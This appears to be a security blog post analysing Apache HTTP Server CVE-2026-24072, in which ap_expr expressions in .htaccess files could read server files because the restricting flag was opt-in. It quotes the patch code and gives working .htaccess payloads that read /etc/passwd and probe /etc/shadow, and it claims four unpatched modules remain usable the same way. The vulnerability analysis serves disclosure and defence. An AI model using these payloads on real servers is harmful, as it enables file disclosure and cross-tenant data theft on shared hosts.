//nefariousplan

CVE-2026-24072: AP_EXPR_FLAG_RESTRICTED Was Opt-In For Fifteen Years. The Patch Opts In Three Modules. Four More Still Read /etc/passwd From .htaccess.

pattern

cve

proof of concept

AP_EXPR_FLAG_RESTRICTED is defined at include/ap_expr.h:66. It has been defined there since the commit that introduced Apache's expression-parser framework in mid-2011. The comment that declares it names exactly one consumer:

/** Don't allow functions/vars that bypass the current request's access
 *  restrictions or would otherwise leak confidential information.
 *  Used by e.g. mod_include.
 */
#define AP_EXPR_FLAG_RESTRICTED            4

The grep for the flag's name across the trunk source tree, on the morning of 2026-05-04 (the day the Apache Software Foundation disclosed CVE-2026-24072), returned five matches. One was the definition above. Two were the line that reads the flag during expression evaluation. The other two were the only modules that ever set it: mod_include and mod_authnz_fcgi. No other directive parser in the tree asked the parser to refuse file('/etc/passwd') when the directive came from a .htaccess.

CVE-2026-24072 is the bill for fifteen years of e.g.

The patch is twelve lines, in three modules

Apache HTTP Server 2.4.67 shipped on 2026-05-04 with the fix for CVE-2026-24072, credited to a researcher who reports as y7syeu and filed the report with the project on 2026-01-20. The release closed several issues; the sibling double-free in mod_http2 is the one we covered on May 9. This is the other one in the same release notes, scored lower because it needs local .htaccess write access, and the more telling one in the long run because the fix is not a fix to mod_rewrite.

The fix is one upstream commit, r1933350, that touches three files. Each file gets the same three-line addition:

unsigned int flags = 0;
if (cmd->pool == cmd->temp_pool) {
    flags |= AP_EXPR_FLAG_RESTRICTED;
}

The cmd->pool == cmd->temp_pool check is the canonical Apache idiom for "this directive is being parsed inside a .htaccess file." The per-directory configuration walker calls each directive's cmd_func with the two pools aliased to each other when the directive comes from a .htaccess; in main-server config and <VirtualHost> contexts they are distinct. The bool is therefore "this directive's text was written by whoever could put a file in this directory," and the flag added on the true branch is "and they should not be allowed to ask file() what is in /etc/passwd."

The three call sites that receive the flag post-patch:

modules/mappers/mod_rewrite.c:3688-3699, the RewriteCond expr=... branch (the RewriteCond directive itself is declared OR_FILEINFO at mod_rewrite.c:5732, so it is parsable in any .htaccess whose containing directory permits AllowOverride FileInfo or All):

else if (newcond->ptype == CONDPAT_AP_EXPR) {
    int in_htaccess = cmd->pool == cmd->temp_pool;
    unsigned int flags = newcond->flags & CONDFLAG_NOVARY ?
                         AP_EXPR_FLAG_DONT_VARY : 0;
    /* Use restricted ap_expr() parser in htaccess context. */
    if (in_htaccess) flags |= AP_EXPR_FLAG_RESTRICTED;
    newcond->expr = ap_expr_parse_cmd(cmd, a2, flags, &err, NULL);
    if (err)
        return apr_psprintf(cmd->pool, "RewriteCond: cannot compile "
                            "expression%s \"%s\" %s",
                            in_htaccess ? " in htaccess context" : "",
                            a2, err);
}

modules/metadata/mod_setenvif.c:438-467, the SetEnvIfExpr directive parser (OR_FILEINFO, declared at mod_setenvif.c:491):

unsigned int flags = 0;

/* Use restricted ap_expr() parser in htaccess context. */
if (cmd->pool == cmd->temp_pool) {
    flags |= AP_EXPR_FLAG_RESTRICTED;
}
/* ... */
new->expr = ap_expr_parse_cmd(cmd, expr, flags, &err, NULL);

modules/proxy/mod_proxy_fcgi.c:1345-1353, the ProxyFCGISetEnvIf directive parser (OR_FILEINFO, declared at mod_proxy_fcgi.c:1401):

unsigned int flags = 0;

/* Use restricted ap_expr() parser in htaccess context. */
if (cmd->pool == cmd->temp_pool) {
    flags |= AP_EXPR_FLAG_RESTRICTED;
}

new = apr_array_push(dconf->env_fixups);
new->cond = ap_expr_parse_cmd(cmd, arg1, flags, &err, NULL);

That is the patch. Twelve added lines, three modules, one idiom repeated three times. The official cve.org title is "Apache HTTP Server: mod_rewrite elevation of privileges via ap_expr." "mod_rewrite" is the headline name. The actual patch is to three modules, and the architecture that produced it is in more.

The .htaccess that reads /etc/passwd

The expressions the patched modules now reject are not exotic. They are documented ap_expr primitives that the Apache HTTP Server Expression Parser manual advertises by name. From server/util_expr_eval.c:2102 (unchanged across 2.4.66 and 2.4.67), the string-function provider table:

static const struct expr_provider_single string_func_providers[] = {
    { osenv_func,     "osenv",     NULL, 0 },
    { env_func,       "env",       NULL, 0 },
    /* ... */
    { file_func,      "file",      NULL, 1 },
    { filesize_func,  "filesize",  NULL, 1 },
    { filemod_func,   "filemod",   NULL, 1 },
    /* ... */
};

The fourth column is the restricted flag on the provider. It has always been set on the filesystem primitives. The unary_op_providers table at util_expr_eval.c:2131 carries the same column on -d, -e, -f, -s, -L, -h, and -x. The AP_EXPR_FLAG_RESTRICTED parse flag, when set, checks that column at provider-lookup time and refuses to bind the provider:

if ((parms->flags & AP_EXPR_FLAG_RESTRICTED)
    && prov->restricted) {
    *parms->err =
        apr_psprintf(parms->ptemp,
                     "%s%s not available in restricted context",
                     (parms->type == AP_EXPR_FUNC_STRING) ? "" : "-",
                     prov->name);
    return !OK;
}

Both halves of the mechanism have been in util_expr_eval.c for the full fifteen-year life of the expression framework. The 2.4.67 patch does not add the mechanism. It does not change the providers table. It does not change lookup_provider. It changes three callers that ask lookup_provider to enforce the table.

A pre-patch .htaccess written by anyone who can drop a file into a .htaccess-honored directory gets the providers without the gate:

RewriteEngine On

# Probe: does /etc/shadow exist as a regular file?
RewriteCond expr "-f /etc/shadow"
RewriteRule .* /found-it [R=302,L]

# Read: the contents of /etc/passwd, base64-encoded into a redirect
RewriteCond %{REQUEST_URI} ^/leak$
RewriteRule .* "expr=%{base64:%{file:'/etc/passwd'}}" [R=302,L]

The expressions are bound at parse time, when the worker loads the .htaccess. The file() function and the -f operator run inside the httpd worker process. On Debian and Ubuntu that worker runs as the user www-data. On RHEL and derivatives it runs as apache. Either user can read /etc/passwd because everyone can; it can also read /var/www/<other-tenant>/wp-config.php on a shared host, and /var/lib/mysql/<table>.MYD if MySQL keeps its data files group-readable by the web user for socket access. The .htaccess author, by design, was supposed to be cabined to URL rewriting inside their own directory. The bug is that the cabinet had no walls.

On patched 2.4.67 the same .htaccess causes the worker to log:

RewriteCond: cannot compile expression in htaccess context "-f /etc/shadow" -f not available in restricted context

and reject the file. The same .htaccess on a 2.4.66 release reads the file.

The flag was opt-in, and two modules took it up

The AP_EXPR_FLAG_RESTRICTED machinery is the second-cleanest piece of Apache's expression-parser design, after the providers table itself. The flag tells the parser "I am parsing an expression supplied by a less-trusted caller than the main config; refuse the file-system providers and any other variable marked confidential." The "less-trusted caller" the framework was designed around was a specific one: server-side-include directives in .shtml files. mod_include's call site has been in the file from the same commit that introduced the framework, at modules/filters/mod_include.c:1601:

expr_info->flags = AP_EXPR_FLAG_RESTRICTED;

That is the consumer the comment in ap_expr.h was naming. mod_include parses <!--#if expr="..." --> directives, and the threat model is identical to the .htaccess threat model: whoever wrote the .shtml may be a different and lower-privileged party than whoever started the httpd. The flag was the fix for that threat in 2011.

A second consumer appeared in 2014, when mod_authnz_fcgi was added to the tree. Its directive expressions are read from authentication FastCGI configuration, and the author was security-aware. From modules/aaa/mod_authnz_fcgi.c:1142:

int flags = AP_EXPR_FLAG_DONT_VARY | AP_EXPR_FLAG_RESTRICTED;

Those were the two modules that, before 2.4.67, set the flag. The rest of the tree called ap_expr_parse_cmd without it. The grep, against May 4 trunk, with AP_EXPR_FLAG_RESTRICTED as the pattern, matched against module files only:

modules/filters/mod_include.c:1601:    expr_info->flags = AP_EXPR_FLAG_RESTRICTED;
modules/aaa/mod_authnz_fcgi.c:1142:    int flags = AP_EXPR_FLAG_DONT_VARY | AP_EXPR_FLAG_RESTRICTED;
modules/mappers/mod_rewrite.c:3693:    if (in_htaccess) flags |= AP_EXPR_FLAG_RESTRICTED;   /* added in 2.4.67 */
modules/metadata/mod_setenvif.c:442:    flags |= AP_EXPR_FLAG_RESTRICTED;                    /* added in 2.4.67 */
modules/proxy/mod_proxy_fcgi.c:1349:    flags |= AP_EXPR_FLAG_RESTRICTED;                    /* added in 2.4.67 */

Five consumers. Two of them existed before 2026-01-20, the date y7syeu filed the report. The other three are the patch.

Four other .htaccess-allowed directives parse ap_expr without the flag

The advisory's "various modules" is, on the trunk source the patch was committed against, four more modules than the patch covers. Each of the following is a directive parser that accepts an ap_expr expression (commonly as the expr=... syntax), has an override class that makes it allowable in .htaccess (OR_FILEINFO or OR_OPTIONS), and calls ap_expr_parse_cmd with AP_EXPR_FLAG_RESTRICTED absent from its flags.

mod_headers.c declares Header and RequestHeader at modules/metadata/mod_headers.c:1047 and :1050 with OR_FILEINFO. The expr=... clauses are parsed at two sites:

  • mod_headers.c:398, the value branch (Header set X-Foo "expr=..."):

    hdr->expr_out = ap_expr_parse_cmd(cmd, s+5,
                                      AP_EXPR_FLAG_STRING_RESULT,
                                      &err, NULL);
  • mod_headers.c:533, the conditional envclause branch (Header set X-Foo value "expr=..."):

    expr = ap_expr_parse_cmd(cmd, envclause + 5, 0, &err, NULL);

Neither call passes AP_EXPR_FLAG_RESTRICTED. A .htaccess of Header set X-Leak "expr=%{file:'/etc/passwd'}" parses without complaint on 2.4.67 and writes the file contents into the response header. The CVE description and the 2.4.67 release notes do not mention mod_headers.

mod_alias.c declares Redirect at modules/mappers/mod_alias.c:754 with OR_FILEINFO, and RedirectMatch, RedirectTemp, RedirectPermanent at adjacent lines with the same override. The redirect URL is parsed at mod_alias.c:313:

dirconf->redirect =
    ap_expr_parse_cmd(cmd, url, AP_EXPR_FLAG_STRING_RESULT,
                      &expr_err, NULL);

AP_EXPR_FLAG_STRING_RESULT without AP_EXPR_FLAG_RESTRICTED. A .htaccess of Redirect / "expr=%{base64:%{file:'/etc/passwd'}}" exfiltrates via the Location: header on the first request to that directory. The CVE description does not mention mod_alias.

mod_substitute.c declares Substitute at modules/filters/mod_substitute.c:809 with OR_FILEINFO. The expression replacement is parsed at mod_substitute.c:749:

nscript->expr_replacement = ap_expr_parse_cmd(cmd, to+5,
                                              AP_EXPR_FLAG_STRING_RESULT,
                                              &err, NULL);

Substitute "s/PLACEHOLDER/expr=%{file:'/etc/passwd'}/" injects file contents into outgoing response bodies that match. The CVE description does not mention mod_substitute.

mod_filter.c declares FilterProvider at modules/filters/mod_filter.c:744 with OR_OPTIONS. The expression is parsed at mod_filter.c:472:

node = ap_expr_parse_cmd(cmd, expr, 0, &err, NULL);

Flags are zero. The expression is evaluated at request time, in the worker, as the httpd user. The CVE description does not mention mod_filter.

The patch fixes three modules. The grep for ap_expr_parse_cmd against .htaccess-allowed directives on the post-patch tree finds four more sites the patch did not touch, across four other modules, all of which evaluate their expressions in the same worker process as the same httpd user with the same access to the same filesystem.

The check is on the consumer side and the producers were trusted to ask

The reason for the gap is in the shape of the framework, not in any single module's source.

ap_expr is a parse-once-evaluate-many design. A directive handler calls ap_expr_parse_cmd with the expression text and a flags word that governs what the parser is willing to bind. The framework parses the expression to a tree, the handler stashes the tree, and at request time the framework evaluates it. The restricted check is at lookup_provider, which runs during parsing: if the caller asked for restriction and the provider is marked restricted, the lookup fails and the parse fails with the directive's containing .htaccess rejected.

The shape of that contract is "the producer of the expression text decides the trust level, and the framework enforces it." It is the opposite of deny-by-default. The framework's safe behavior is to allow file() and -f unless the directive handler specifically remembers that those primitives should be denied for this particular caller's trust context. The doc-comment names one consumer that remembered. It does not name what trust contexts the framework considers high-risk. It does not enumerate which override classes (OR_FILEINFO, OR_OPTIONS, OR_INDEXES, OR_LIMIT) make a directive .htaccess-reachable and therefore in need of the flag. The contract was "if you ship a directive that takes untrusted expression text, you know to set the flag." mod_include's author knew. mod_authnz_fcgi's author knew. The authors of mod_rewrite, mod_setenvif, mod_proxy_fcgi, mod_headers, mod_alias, mod_substitute, and mod_filter wrote their ap_expr_parse_cmd lines independently, in different files, against different reviews, and inherited none of the gate.

This is the parallel-implementation-gap pattern in module form. The check that gates file() is at the bottom of the parser, inside lookup_provider. The capability to ask for that gate is on a flag the directive handler must pass. The framework's documentation names one consumer that it was designed around. Every other consumer in the tree was written separately, by a different author, for a different directive, in a different file, and either knew about the flag or did not. The 2.4.67 patch makes three of those consumers look like the canonical consumer. The compiler does not know how many it missed.

The vendor's advisory says "various modules." The cve.org title names mod_rewrite. The patch fixes three modules. The ap_expr_parse_cmd grep against the .htaccess-allowed directive set on trunk finds four more.

The fix is not a new mechanism. The mechanism has existed for fifteen years. The fix is three lines that say please use it, in three of the modules that never did.

PoC: EricRHancock-coder/CVE-2026-24072-Analysis. Patch: r1933350, Apache HTTP Server 2.4.67 security advisories. Disclosure: oss-security thread, 2026-05-04.

The comment named one consumer. The CVE names three more. The grep on trunk this morning names four that the CVE still does not.

CVE-2026-24072: AP_EXPR_FLAG_RESTRICTED Was Opt-In For Fifteen Years. The Patch Opts In Three Modules. Four More Still Read /etc/passwd From .htaccess. · nefariousplan.com